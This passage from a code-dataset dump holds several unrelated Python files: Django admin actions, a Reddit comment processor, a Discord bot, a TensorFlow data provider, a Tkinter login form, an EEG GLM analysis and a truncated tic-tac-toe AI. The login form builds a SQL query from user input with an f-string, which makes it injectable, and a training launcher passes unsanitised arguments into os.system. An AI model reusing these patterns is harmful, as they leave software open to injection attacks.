\"取消轮询\"\n\n def city_sync_action(modeladmin, request, queryset):\n from .tasks import start_fang_status_spider\n for i in queryset:\n start_fang_status_spider.delay(i.source_url)\n\n city_sync_action.short_description = \"同步\"\n\n actions = (\n city_init_action,\n city_pool_action,\n city_pool_cancel_action,\n city_sync_action,\n )\n\n\nclass CityDayStatAdmin(admin.ModelAdmin):\n list_display = (\n 'day', 'city',\n 'num', 'new_num', 'refresh_num', 'update_num',\n 'out_num', 'change_fields',\n )\n\n\nclass HouseConfigAdmin(admin.ModelAdmin):\n list_display = (\n 'name',\n 'content',\n# 'is_need_day_sync',\n 'is_enable',\n 'sched_crawl',\n 'pool_num',\n 'created_at',\n 'updated_at')\n\n search_fields = ('name', )\n\n def sched_crawl_num_action(modeladmin, request, queryset):\n from .tasks import start_crawl\n for i in queryset:\n #if not i.sched_crawl:\n if True:\n i.sched_crawl = True\n i.save()\n start_crawl.delay(i)\n\n sched_crawl_num_action.short_description = '周期爬取'\n actions = (sched_crawl_num_action,)\n\n\nclass HouseListRuleAdmin(admin.ModelAdmin):\n list_display = ('name', 'content', 'content_value')\n\n\nclass HousePeriodicTaskAdmin(admin.ModelAdmin):\n list_display = ('conf',)\n\n\n#admin.site.register(CityInfo, CityInfoAdmin)\nadmin.site.register(CityDayStat, CityDayStatAdmin)\nadmin.site.register(HouseConfig, HouseConfigAdmin)\nadmin.site.register(HouseListRule, HouseListRuleAdmin)\nadmin.site.register(HousePeriodicTask, HousePeriodicTaskAdmin)\n","sub_path":"demo/src/YWebAdmin/house/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"132564766","text":"import json\nimport datetime\nimport pandas as pd\n\n# ***********\n# Methods:\n# ***********\n\ndef get_config(config_file):\n assert type(config_file) == str\n with open(config_file) as f:\n config = json.load(f)\n\t\n return config\n\n# ********\n# Main:\n# - purpose: take all reddit comment files that were produced by the bot and slim/sort them.\n# prepare comments for edge processing.\n# ********\n\nconfig = get_config('reddit_slim_comments.json')\ndirectory = config['directory']\nsubreddit = config['subreddit']\nr = config['range']\n\nprint()\nprint(\"configurations:\")\nprint(\"config\", str(config))\nprint()\n\nprint(\"Starting at\", str(datetime.datetime.now()))\nprint()\n\nall_comments = [ ]\n\nfor index in range(r[0], r[1]+1):\n\n\tfile = subreddit + '_comments_' + str(index) + '.csv'\n\tdf = pd.read_csv(directory + file, index_col='index', header=0, low_memory=False)\n\n\tdf['name'] = df['name'].astype(str)\n\tdf['link_id'] = df['link_id'].astype(str)\n\tdf['body'] = df['body'].astype(str)\n\tdf['author'] = df['author'].fillna('[deleted]').astype(str)\n\n\tcomments = [\n\t\t\t\t\t{\n\t\t\t\t\t\t'commentId' : row['name'],\n\t\t\t\t\t\t'postId' : row['link_id'],\n\t\t\t\t\t\t\n\t\t\t\t\t\t'body' : row['body'],\n\t\t\t\t\t\t'score' : row['score'],\n\t\t\t\t\t\t'author' : row['author'],\n\t\t\t\t\t\t'created_utc' : row['created_utc']\n\t\t\t\t\t} \n\t\t\t\t\tfor index, row in df.iterrows()\n\t\t\t ]\n\n\tfor comment in comments:\n\t\tall_comments.append(comment)\n\t\t\n\tprint('finished adding file:', file, 'at', str(datetime.datetime.now()))\n\nprint('moving to dataframe at', str(datetime.datetime.now()))\ndf_comments = pd.DataFrame(all_comments).set_index('commentId').sort_values(['postId', 'created_utc'])\ndf_comments.to_csv(directory + r'slim_sorted_comments.csv', header=True)\n\nprint(\"Completed at\", str(datetime.datetime.now()))","sub_path":"Thesis/Processing/Pipeline/reddit_slim_comments.py","file_name":"reddit_slim_comments.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"597304197","text":"import discord\nfrom discord.ext import commands\nimport os\nimport json\nimport keep_alive\nfrom datetime import datetime,timedelta\nimport asyncio\nimport requests\n\n\n#os.system('pip install --upgrade pip')\n#os.system('pip install --upgrade discord.py')\n\nintents = discord.Intents.all()\n\nwith open('setting.json', 'r', encoding='utf8') as jfile:\n jdata = json.load(jfile)\n\nbot = commands.Bot(command_prefix='-',intents = intents)\n\n@bot.event\nasync def on_ready():\n print(\">> Bot is online <<\")\n while(1):\n await asyncio.sleep(10)\n requests.get(\"http://127.0.0.1:8080/\")\n\n#----------------------------------------------------------------------------\nbot.remove_command('help') #移除原有的help選單 help選單放在common.py內\n#-----------------------------------------------------------------------------\nf = '[%Y-%m-%d %H:%M:%S]'\ntime_delta = timedelta(hours=+8)\nutc_8_date_str = (datetime.utcnow()+time_delta).strftime(f) #時間戳記\n#-----------------以下為機器人基本模組載入卸載列出下載功能區域建議不要隨意更改------------\n#列出所有此機器人的Python模組 cmds 內的\n@bot.command(name= 'listmod', aliases=['列出所有模組' , '列出模組'])\nasync def listmodel(ctx):\n modlist = []\n modindex = 0\n for modname in os.listdir('./cmds'):\n if modname.endswith('.py'):\n modlist.append(modindex)\n modlist.append(modname)\n modindex += 1\n modindex = 0\n msg = ''\n dou = 0\n for i in modlist:\n if dou == 0:\n dou+=1\n else:\n msg = msg + '[' + str(i)[:-3] +']'\n dou = 0\n await ctx.send(f'```ini\\n此機器人目前擁有的所有模組:\\n{msg}```')\n#把模組的原始Python檔案下載\n@bot.command(name= 'downloadmod', aliases=['下載模組' , '模組下載' , '下載mod' , 'mod下載'])\nasync def downloadmod(ctx, *args):\n if ctx.author.id == jdata['owner']:\n mod = ' '.join(args)\n if mod == ():\n await ctx.send(NullMod())\n else:\n try:\n fileurl = 'cmds/' + mod + '.py'\n print(fileurl+'\\n')\n await asyncio.sleep(0.5)\n upfile = discord.File(F'{fileurl}')\n await ctx.send(file = upfile)\n except:\n await ctx.send('錯誤:無法下載模組')\n\n@bot.command(name= 'load', aliases=['載入' , '載入模組' , '啟用'])\nasync def load(ctx, extension:str ='Null'):\n if ctx.author.id == jdata['owner']:\n if extension == 'Null':\n await ctx.send(NullMod())\n else:\n bot.load_extension(F'cmds.{extension}')\n await ctx.send(f'\\n已加載:{extension}')\n print('\\n---------------------------------\\n' + utc_8_date_str + f'\\n已加載 {extension}\\n---------------------------------\\n')\n else:\n await ctx.send(InsufficientPermissions())\n\n@bot.command(name= 'unload', aliases=['卸載' , '卸載模組' , '停用'])\nasync def unload(ctx, extension:str='Null'):\n if ctx.author.id == jdata['owner']:\n if extension == 'Null':\n await ctx.send(NullMod())\n else:\n try:\n bot.unload_extension(F'cmds.{extension}')\n await ctx.send(f'\\n已卸載:{extension}')\n print('\\n---------------------------------\\n' + utc_8_date_str + f'\\n已卸載 {extension}\\n---------------------------------\\n')\n except:\n await ctx.send(\"錯誤:組件卸載失敗\")\n else:\n await ctx.send(InsufficientPermissions())\n\n\n@bot.command(name= 'reload', aliases=['重載' , '重載模組' , '重新載入模組', '重新加載', '重啟' , '重新載入'])\nasync def reload(ctx, extension:str ='Null'):\n if ctx.author.id == jdata['owner']:\n if extension == 'Null':\n await ctx.send(NullMod())\n else:\n bot.reload_extension(F'cmds.{extension}')\n await ctx.send(f'\\n已重新載入:{extension}')\n print('\\n---------------------------------\\n' + utc_8_date_str + f'\\n已重新載入 {extension}\\n---------------------------------\\n')\n else:\n await ctx.send(InsufficientPermissions())\n\n\n\n#機器人關閉系統-------------------------------------------- \n\n@bot.command(name= 'disconnect', aliases=['disable' , 'shutdown' , '關閉機器人' , '關機' , '關閉'])\nasync def turn_off_bot(ctx):\n if ctx.message.author.id == jdata['owner']:\n print(utc_8_date_str + '機器人已關閉')\n await ctx.send(utc_8_date_str + '\\n機器人已關閉') #<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n await bot.close()\n else:\n await ctx.send(InsufficientPermissions())\n\n@bot.event\nasync def on_disconnect():\n requests.get(\"http://127.0.0.1:8080/\")\n print('機器人已關閉')\n#---------------------------------------------------------\n\nclass InsufficientPermissions(Exception):\n def __str__(self):\n return '權限不足 本指令只提供給機器人擁有者 \\n擁有者為 <@' + jdata[\"owner\"] + '>'\nclass NullMod(Exception):\n def __str__(self):\n return '此處不可為空 請輸入組件名稱'\n \n#------------把cmd內的所有模組做載入--------------\nfor filename in os.listdir('./cmds'):\n if filename.endswith('.py'):\n bot.load_extension(f'cmds.{filename[:-3]}')\n \nif __name__ == \"__main__\":\n keep_alive.keep_alive()\n bot.run(jdata['TOKEN'])\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"269130855","text":"# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"A DataProvider that provides data from a Dataset.\n\nDatasetDataProviders provide data from datasets. The provide can be configured\nto use multiple readers simultaneously or read via a single reader.\nAdditionally, the data being read can be optionally shuffled.\n\nFor example, to read data using a single thread without shuffling:\n\n pascal_voc_data_provider = DatasetDataProvider(\n slim.datasets.pascal_voc.get_split('train'),\n shuffle=False)\n images, labels = pascal_voc_data_provider.get(['images', 'labels'])\n\nTo read data using multiple readers simultaneous with shuffling:\n\n pascal_voc_data_provider = DatasetDataProvider(\n slim.datasets.pascal_voc.Dataset(),\n num_readers=10,\n shuffle=True)\n images, labels = pascal_voc_data_provider.get(['images', 'labels'])\n\nEquivalently, one may request different fields of the same sample seperately:\n\n [images] = pascal_voc_data_provider.get(['images'])\n [labels] = pascal_voc_data_provider.get(['labels'])\n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom tensorflow.contrib.slim.python.slim.data import data_provider\nfrom tensorflow.contrib.slim.python.slim.data import parallel_reader\n\n\nclass DatasetDataProvider(data_provider.DataProvider):\n\n def __init__(self,\n dataset,\n num_readers=1,\n shuffle=True,\n num_epochs=None,\n common_queue_capacity=256,\n common_queue_min=128,\n seed=None):\n \"\"\"Creates a DatasetDataProvider.\n\n Args:\n dataset: An instance of the Dataset class.\n num_readers: The number of parallel readers to use.\n shuffle: Whether to shuffle the data sources and common queue when\n reading.\n num_epochs: The number of times each data source is read. If left as None,\n the data will be cycled through indefinitely.\n common_queue_capacity: The capacity of the common queue.\n common_queue_min: The minimum number of elements in the common queue after\n a dequeue.\n seed: The seed to use if shuffling.\n \"\"\"\n _, data = parallel_reader.parallel_read(\n dataset.data_sources,\n reader_class=dataset.reader,\n num_epochs=num_epochs,\n num_readers=num_readers,\n shuffle=shuffle,\n capacity=common_queue_capacity,\n min_after_dequeue=common_queue_min,\n seed=seed)\n\n items = dataset.decoder.list_items()\n tensors = dataset.decoder.decode(data, items)\n\n super(DatasetDataProvider, self).__init__(\n items_to_tensors=dict(zip(items, tensors)),\n num_samples=dataset.num_samples)\n","sub_path":"Keras_tensorflow/source/tensorflow/contrib/slim/python/slim/data/dataset_data_provider.py","file_name":"dataset_data_provider.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"396064598","text":"import json\nimport requests\n\n\ndef genEmojiMatrix(emojiList):\n eLen = len(emojiList) * 2 - 1\n eList = [[0] * eLen for i in range(eLen)]\n for index,item in enumerate(emojiList):\n for i in range(eLen):\n for j in range(eLen):\n if i==index or j==index:\n eList[i][j]=emojiList[index]\n return eList\n\ndata = {\n 'qq_group_id': '967636480',\n 'qq_id_list': [],\n 'text': '👴',\n 'img': ''\n}\ntext = '👴'\ntext = '👴🏾'\ntext = bytes(text, encoding='unicode_escape')\ntext = str(text).replace(\"'\", '').replace(\"\\\\\", '').split('U')\nemojiId = int(text[1], 16)\ncolorEmoji = []\nif emojiId >= 0x1F466 and emojiId <= 0x1F478:\n colorEmoji.append(chr(emojiId))\n for i in range(0x1f3fb, 0x1f3ff + 1):\n newchar = chr(emojiId) + chr(i)\n # print(newchar)\n colorEmoji.append(newchar)\n\neList=genEmojiMatrix(colorEmoji)\n# text=text.decode('unicode_escape')\ntext=\"\"\nfor i in eList:\n for j in i:\n text+=j\n text+='\\n'\nprint(text)\ntext = ''.join(colorEmoji)\ndata['text'] = text\n# text=text.encode('utf8')\nres = requests.post('http://127.0.0.1:50382', data=json.dumps(data))\n","sub_path":"botexe/testRequest.py","file_name":"testRequest.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"484324321","text":"import os\nimport argparse\nfrom sys import platform\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--name', type=str, required=True)\nparser.add_argument('--cluster_id', type=int, required=True)\nparser.add_argument('--gpu_id', type=int, default=0)\nargs,unknown = parser.parse_known_args()\n\nif len(unknown) != 0:\n print(unknown)\n exit(-1)\n\n\nif platform == \"linux\" or platform == \"linux2\":\n prefix = \" CUDA_VISIBLE_DEVICES=%d \" % args.gpu_id\nelif platform == \"win32\":\n prefix = \" set CUDA_VISIBLE_DEVICES=%d &\" % args.gpu_id\n\n\ntemplate = prefix + ' python ../src/train_neural_render_aug.py --dataDir ../data/%s/Train/PL/Cluster_%d --logDir ../log_results/%s/PL/log_cluster_%d --max_steps 200000 --texture_channels 30 --lr 0.0002 --data_max_val %f --keep_max_val %f --rescale_input 1.0 --rescale_output 1.0 '\n\n\nconfigs = {\n 'tree': [2.0, 2.0],\n 'sphere': [10.0, 10.0],\n 'pig': [3.834, 1.0],\n 'pixiu': [1.0, 1.0],\n 'fur': [1.0, 1.0]\n}\n\n\nif __name__ == '__main__':\n name = args.name\n cluster_id = args.cluster_id\n data_max_val, keep_max_val = configs['tree']\n\n cmd = template % (name, cluster_id, name, cluster_id,data_max_val, keep_max_val)\n print(cmd)\n os.system(cmd)\n\n\n","sub_path":"scripts/train/train_point_light_example.py","file_name":"train_point_light_example.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"569545941","text":"from tkinter import *\r\nimport sqlite3\r\nimport RegisterForm as R\r\nimport SocialResumePage as S\r\nfrom tkinter import messagebox\r\ndef login():\r\n def exitprogram():\r\n messagebox.showinfo(\"Exit\",'Exiting the Program')\r\n login_screen.destroy()\r\n def sigin_clicked():\r\n login_screen.destroy()\r\n R.register_function()\r\n def login_clicked():\r\n messagebox.showinfo(\"Directing\", \"Directing to your SocialMedia Resume\")\r\n usernameValue =username.get()\r\n try:\r\n try:\r\n conn = sqlite3.connect('data_base1.db')\r\n cur = conn.cursor()\r\n except:\r\n cur.execute(\"CREATE TABLE user_details(Name VARCHAR(128), Username VARCHAR(128), Gender VARCHAR(128), Bio VARCHAR(128), Email VARCHAR(128), LinkedinURL VARCHAR(128),FacebookURL VARCHAR(128), InstagramURL VARCHAR(128), SpotifyURL VARCHAR(128),SnapchatURL VARCHAR(128), TwitterURL VARCHAR(128), ImageName VARCHAR(128)\")\r\n finally:\r\n cur.execute(f'SELECT Username FROM user_details WHERE Username=\"{usernameValue}\"')\r\n value1 = cur.fetchone()\r\n userstr =value1[0]\r\n print(f\"value from database {userstr}\")\r\n print(f\"value from tkinter entry {usernameValue}\")\r\n if (userstr == usernameValue):\r\n login_screen.destroy()\r\n except:\r\n messagebox.showerror(\"Error\", 'Enter correct Username!')\r\n finally:\r\n\r\n S.resumepage(userstr)\r\n conn.commit()\r\n conn.close()\r\n\r\n login_screen= Tk()\r\n login_screen.title(\"Login Page\")\r\n login_screen.geometry(\"950x950\")\r\n login_screen.config(bg='#EAE3CB')\r\n f1=Frame(login_screen).grid()\r\n f2=Frame(login_screen).grid()\r\n\r\n l1=Label(f1,text=\" WELCOME TO\", bg=\"#ACD7C6\",fg='#63535B',font=\"TimesNewRoman 20 bold\")\r\n l1.grid(row=0, columnspan=5,padx=250,pady=10)\r\n\r\n l2=Label(f1,text=\"SOCIAL MEDIA RESUME GENERATOR!\", bg=\"#ACD7C6\",fg='#63535B',font=\"TimesNewRoman 20 bold\")\r\n l2.grid(row=1, columnspan=5,padx=250)\r\n lab = Label(f1, text=\"Enter UserName \", width=20,bg=\"#ACD7C6\",fg='#63535B',font=\"TimesNewRoman 15 bold\")\r\n lab.grid(row=5,column=1,padx=150,pady=40)\r\n l1_2=Label(f1,text=\"Already registered? Enter user name\",fg='#63535B',font=\"TimesNewRoman 20 bold\")\r\n l1_2.grid(row=4, columnspan=5,padx=150,pady=10)\r\n ########get username#######3\r\n username = Entry(f1,width=35)\r\n username.grid(row=5,column=2,sticky=\"W\")\r\n\r\n ######login button######\r\n loginbutton = Button(f2, text = \"Get SocialMedia Resume\",height=2,width=20,bg=\"#2F9576\", fg=\"#63535B\",font=\"TimesNewRoman 10 bold\",command=login_clicked)\r\n loginbutton.grid(row=7, columnspan=20,padx=250,pady=10)\r\n\r\n l1_2=Label(f1,text=\"OR\",fg='#63535B',font=\"TimesNewRoman 20 bold\")\r\n l1_2.grid(row=8, columnspan=5,padx=150,pady=10)\r\n ########Sigin button######\r\n signin = Button(f2, text = \"Register Details\",height=2,width=20,bg=\"#2F9576\", fg=\"#63535B\",font=\"TimesNewRoman 10 bold\",command=sigin_clicked)\r\n signin.grid(row=9, columnspan=20,padx=250,pady=10)\r\n\r\n signin = Button(f2, text=\"Exit\", height=2, width=20, bg=\"black\", fg=\"white\",font=\"TimesNewRoman 10 bold\", command=exitprogram)\r\n signin.grid(row=15, columnspan=20, padx=250, pady=10)\r\n\r\n login_screen.mainloop()","sub_path":"Running Project Code/SocialMedia_Resume/form1.py","file_name":"form1.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"50575634","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 17 13:50:15 2023\n\n@author: sammirc\n\"\"\"\n\nimport numpy as np\nimport scipy as sp\nimport pandas as pd\nimport mne\nfrom copy import deepcopy\nimport os\nimport os.path as op\nimport sys\nfrom matplotlib import pyplot as plt\nfrom scipy import stats\nimport seaborn as sns\nimport glmtools as glm\nimport sys\n\n\nwd = 'C:/Users/sammirc/Desktop/phd/wmConfidence' #EP PC wd\nos.chdir(wd)\n\n\nsys.path.insert(0, op.join(wd, 'analysis_scripts')) #set location of helper scripts/functions into path\nfrom wmConfidence_funcs import get_subject_info_wmConfidence\nfrom wmConfidence_funcs import gesd, plot_AR, nanzscore\n\nfrom glmtools.regressors import CategoricalRegressor, ParametricRegressor\nfrom glmtools.design import Contrast\n\n\nsubs = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26])\nsubs = np.array([ 4, 5, 6, 7, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 20, 21, 22, 24, 25, 26])\n\nglmdir = op.join(wd, 'glms', 'cuelocked', 'tfrglm4')\nif not op.exists(glmdir):\n os.mkdir(glmdir)\n \nsmoothing = False\n# doesnt matter if you smooth per trial, or smooth the average. \n# for regression, better to smooth trialwise\n# good to lightly smooth (1sd gaussian smoothing is not too much) for statistical power\ndef gauss_smooth(array, sigma = 2):\n return sp.ndimage.gaussian_filter1d(array, sigma=sigma, axis = 1) #smooths across time, given 2d array of trials x time\n\nfor i in subs:\n print('\\n- - - - working on subject %s - - - - -\\n'%(str(i)))\n sub = dict(loc = 'EP', id = i)\n param = get_subject_info_wmConfidence(sub)\n for method in ['multitaper', 'morlet']:\n tfr = mne.time_frequency.read_tfrs(param['cuelocked_tfr'].replace('_cuelocked', '_cuelocked_'+method)); tfr = tfr[0]\n #comes with metadata attached\n \n tfr = tfr.crop(fmin = 8, fmax = 12)\n singlechans = False\n if singlechans:\n rhschans = ['PO8'] \n lhschans = ['PO7']\n else: #take a selection of posterior, lateral channels\n rhschans = ['PO8', 'PO4', 'O2']\n lhschans = ['PO7', 'PO3', 'O1']\n \n #get probed side on each trial\n chosenside = tfr.metadata.pside.to_numpy() #0 if reported left item, 1 if reported right\n \n #if multiple channels are selected, average across channels first\n if len(rhschans) > 1:\n tfrrhs = np.squeeze(deepcopy(tfr).pick(picks = rhschans).data).mean(axis = 1)\n else:\n tfrhs = np.squeeze(deepcopy(tfr).pick(picks = rhschans).data)\n if len(lhschans) > 1:\n tfrlhs = np.squeeze(deepcopy(tfr).pick(picks = lhschans).data).mean(axis = 1)\n else:\n tfrlhs = np.squeeze(deepcopy(tfr).pick(picks = lhschans).data)\n \n tfrrhs = tfrrhs.mean(axis=1)\n tfrlhs = tfrlhs.mean(axis=1) #now has trials x time (collapsed across frequencies within alpha)\n \n contrapower = np.empty(shape = [len(tfr), len(tfr.times)])\n ipsipower = np.empty(shape = [len(tfr), len(tfr.times)])\n contraVsIpsi_norm = np.empty(shape = [len(tfr), len(tfr.times)]); contraVsIpsi_norm[:] = np.nan\n \n #get power contralaterali/ispilateral to the chosen side\n contrapower[chosenside==0,:] = tfrrhs[chosenside == 0,:]\n contrapower[chosenside==1,:] = tfrlhs[chosenside == 1,:]\n ipsipower[chosenside==0,:] = tfrlhs[chosenside==0,:]\n ipsipower[chosenside==1,:] = tfrrhs[chosenside==1,:]\n \n # get lateralisation of power (non baselined data)\n contraVsIpsipower = np.subtract(contrapower, ipsipower)\n contraPlsIpsipower = np.add(contrapower, ipsipower) #get total power across electrodes (sum of signal)\n \n #smooth data with a small gaussian blur to increase sensitivity\n if smoothing:\n contrapower = gauss_smooth(contrapower)\n ipsipower = gauss_smooth(ipsipower)\n contraVsIpsipower = gauss_smooth(contraVsIpsipower)\n contraPlsIpsipower = gauss_smooth(contraPlsIpsipower)\n \n #normalise the lateralisation by amount of signal in the head (results in % change, stops overweighting of participants)\n contraVsIpsi_norm = np.multiply(np.divide(contraVsIpsipower, contraPlsIpsipower),100)\n \n #visualise this?\n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.plot(tfr.times, contraVsIpsi_norm[cuecond=='neutral',:].mean(axis=0), lw = 2, color = '#bdbdbd')\n # ax.plot(tfr.times, contraVsIpsi_norm[cuecond=='cued',:].mean(axis=0), lw = 2, color = '#3182bd')\n # ax.axvline(x = 0, ls = 'dashed', color = '#000000', lw = 1)\n # ax.axhline(y = 0, ls = 'dashed', color = '#000000', lw = 1)\n \n cuecond = tfr.metadata.cond.to_numpy()\n cuecond = np.where(cuecond == 'cued', 1, 0).astype(int)\n error = tfr.metadata.absrdif.to_numpy()\n error_neutral = np.where(cuecond == 0, error, np.nan)\n error_cued = np.where(cuecond == 1, error, np.nan)\n \n \n #standardise error within cue condition\n error_neutral = sp.stats.zscore(error_neutral, nan_policy = 'omit')\n error_cued = sp.stats.zscore(error_cued, nan_policy = 'omit')\n error_neutral = np.where(np.isnan(error_neutral), 0, error_neutral)\n error_cued = np.where(np.isnan(error_cued), 0, error_cued)\n \n \n confidence = tfr.metadata.confwidth.to_numpy() #interval width, larger numbers = less confident\n conf = np.multiply(confidence, -1) #flip this, now larger (more positive) = more confident (narrower width)\n conf_neutral = np.where(cuecond == 0, conf, np.nan)\n conf_cued = np.where(cuecond == 1, conf, np.nan)\n \n conf_neutral = sp.stats.zscore(conf_neutral, nan_policy = 'omit')\n conf_cued = sp.stats.zscore(conf_cued, nan_policy = 'omit')\n \n conf_neutral = np.where(np.isnan(conf_neutral), 0, conf_neutral)\n conf_cued = np.where(np.isnan(conf_cued), 0, conf_cued)\n \n \n \n DC = glm.design.DesignConfig()\n #really simple model here, just want an intercept, and a contrast regressor for cued vs neutral\n # DC.add_regressor(name = 'intercept', rtype = 'Constant') #add a constant (intercept)\n DC.add_regressor(name = 'neutral', rtype = 'Categorical', datainfo = 'cuecond', codes = 0)\n DC.add_regressor(name = 'cued', rtype = 'Categorical', datainfo = 'cuecond', codes = 1)\n DC.add_regressor(name = 'error_neutral', rtype = 'Parametric', datainfo = 'error_neutral', preproc = None)\n DC.add_regressor(name = 'error_cued', rtype = 'Parametric', datainfo = 'error_cued', preproc = None)\n DC.add_regressor(name = 'conf_neutral', rtype = 'Parametric', datainfo = 'conf_neutral', preproc = None)\n DC.add_regressor(name = 'conf_cued', rtype = 'Parametric', datainfo = 'conf_cued', preproc = None)\n \n \n DC.add_simple_contrasts() #just adds basic diagonal contrast matrix\n DC.add_contrast(name = 'grandmean', values = [ 1, 1, 0, 0, 0, 0])\n DC.add_contrast(name = 'cuedvsneutral', values = [-1, 1, 0, 0, 0, 0])\n DC.add_contrast(name = 'errorcvsn', values = [ 0, 0,-1, 1, 0, 0])\n DC.add_contrast(name = 'confcvsn', values = [ 0, 0, 0, 0,-1, 1])\n \n #create glmdata object\n glmdata = glm.data.TrialGLMData(data = contraVsIpsi_norm, time_dim = 1, sample_rate = 100,\n #add in metadata that's used to construct the design matrix\n cuecond = cuecond,\n error_neutral = error_neutral,\n error_cued = error_cued,\n conf_neutral = conf_neutral,\n conf_cued = conf_cued)\n \n glmdes = DC.design_from_datainfo(glmdata.info)\n # glmdes.plot_summary(summary_lines=False)\n #glmdes.plot_efficiency()\n \n model = glm.fit.OLSModel(glmdes, glmdata) #fit the actual regression for this position in difficulty sequence\n \n betas = model.betas.copy()\n copes = model.copes.copy()\n tstats = model.tstats.copy()\n \n times = tfr.times\n freqs = tfr.freqs\n info = tfr.info\n \n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.plot(times, betas.T, label = model.regressor_names, lw = 1)\n # ax.axvline(x = 0, ls = 'dashed', color = '#000000', lw = 1)\n # ax.axhline(y = 0, ls = 'dashed', color = '#000000', lw = 1)\n # fig.legend()\n \n \n np.save(file = op.join(glmdir, param['subid'] + '_cuelockedTFR_'+method+'_betas.npy'), arr = betas)\n np.save(file = op.join(glmdir, param['subid'] + '_cuelockedTFR_'+method+'_copes.npy'), arr = copes)\n np.save(file = op.join(glmdir, param['subid'] + '_cuelockedTFR_'+method+'_tstats.npy'), arr = tstats)\n \n if i == 4: #for first subject, lets also save a couple things for this glm to help with visualising stuff\n #going to save the times\n np.save(file = op.join(glmdir, 'glm_timerange.npy'), arr= times)\n #save regressor names and contrast names in the order they are in, to help know what is what\n np.save(file = op.join(glmdir, 'regressor_names.npy'), arr = model.regressor_names)\n np.save(file = op.join(glmdir, 'contrast_names.npy'), arr = model.contrast_names)\n \n #------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n del(glmdata)\n del(glmdes)\n del(model)\n del(tfr)","sub_path":"analysis_scripts/pyscripts/CuelockedTFR_Lateralisation_runGLM4.py","file_name":"CuelockedTFR_Lateralisation_runGLM4.py","file_ext":"py","file_size_in_byte":9912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"565097141","text":"#coding=utf-8\n\"\"\"\n[0,1,2]\n[3,4,5]\n[6,7,8]\n\"\"\"\n\n#胜利的走法\nwin_chess = [[0,4,8],[2,4,6],[0,1,2],[3,4,5],[6,7,8],[0,3,6],[1,4,7],[2,5,8]]\n#最佳下棋顺序\nbest_way = [4,0,2,6,8,1,3,5,7]\n#棋盘\nchess = [0,0,0,0,0,0,0,0,0]\n\ndef is_win(now_chess,who):\n \"\"\"\n 判断游戏方(who)是否赢局\n \"\"\"\n temp = now_chess[:]\n for w_c in win_chess:\n if temp[w_c[0]] == who and temp[w_c[1]] == who and temp[w_c[2]] == who :\n return who\n return 0\n\ndef count_zero(now_chess):\n \"\"\"\n 统计剩余格子\n 返回个数\n \"\"\"\n temp = now_chess[:]\n count = 0\n for te in temp:\n if te == 0:\n count = count + 1\n return count\n\ndef evaluation(now_chess):\n \"\"\"\n 估价函数(以X为对象)\n 可以赢的行数 +1\n 可以赢的行数上有自己的棋子 +2\n 可导致自己赢 +2\n 可导致对手赢 -2\n \"\"\"\n temp = now_chess[:]\n count = 0\n for w_c in win_chess:\n if temp[w_c[0]] >= 0 and temp[w_c[1]] >= 0 and temp[w_c[2]] >= 0 :\n if temp[w_c[0]] == 1 or temp[w_c[1]] == 1 or temp[w_c[2]] == 1 :\n count += 1\n count += 1\n if is_win(temp,1) == 1:\n count = count + 2\n if is_win(temp,-1) == -1:\n count = count - 2\n return count\n\ndef all_go(now_chess,who):\n \"\"\"\n 遍历所有走法\n \"\"\"\n temp = now_chess[:]\n tempp = []\n for i in best_way:\n if temp[i] == 0:\n temppp = temp[:]\n temppp[i]=who\n tempp.append([temppp,i])\n return tempp\n\ndef get_next_x(now_chess,who):\n \"\"\"\n x获取下一个位置\n \"\"\"\n temp = now_chess[:]\n best_list = None\n best_one = -1\n if count_zero(temp) <= 3 :\n for te in all_go(temp,who):\n if best_one == -1:\n best_list = te[0]\n best_one = te[1]\n else :\n if evaluation(te[0]) > evaluation(best_list):\n best_list = te[0]\n best_one = te[1]\n return best_one\n for te in all_go(temp,who):\n for tee in all_go(te[0],who*-1):\n for teee in all_go(tee[0],who):\n if best_list is None:\n best_list = teee[0]\n best_one = te[1]\n else:\n if evaluation(teee[0]) > evaluation(best_list) :\n best_list = teee[0]\n best_one = te[1]\n return best_one\n\ndef get_next_o(now_chess,who):\n \"\"\"\n o获取下一个位置\n \"\"\"\n temp = now_chess[:]\n best_list = None\n best_one = -1\n if count_zero(temp) <= 2 :\n for te in all_go(temp,who):\n if best_one == -1:\n best_list = te[0]\n best_one = te[1]\n else :\n if evaluation(te[0]) < 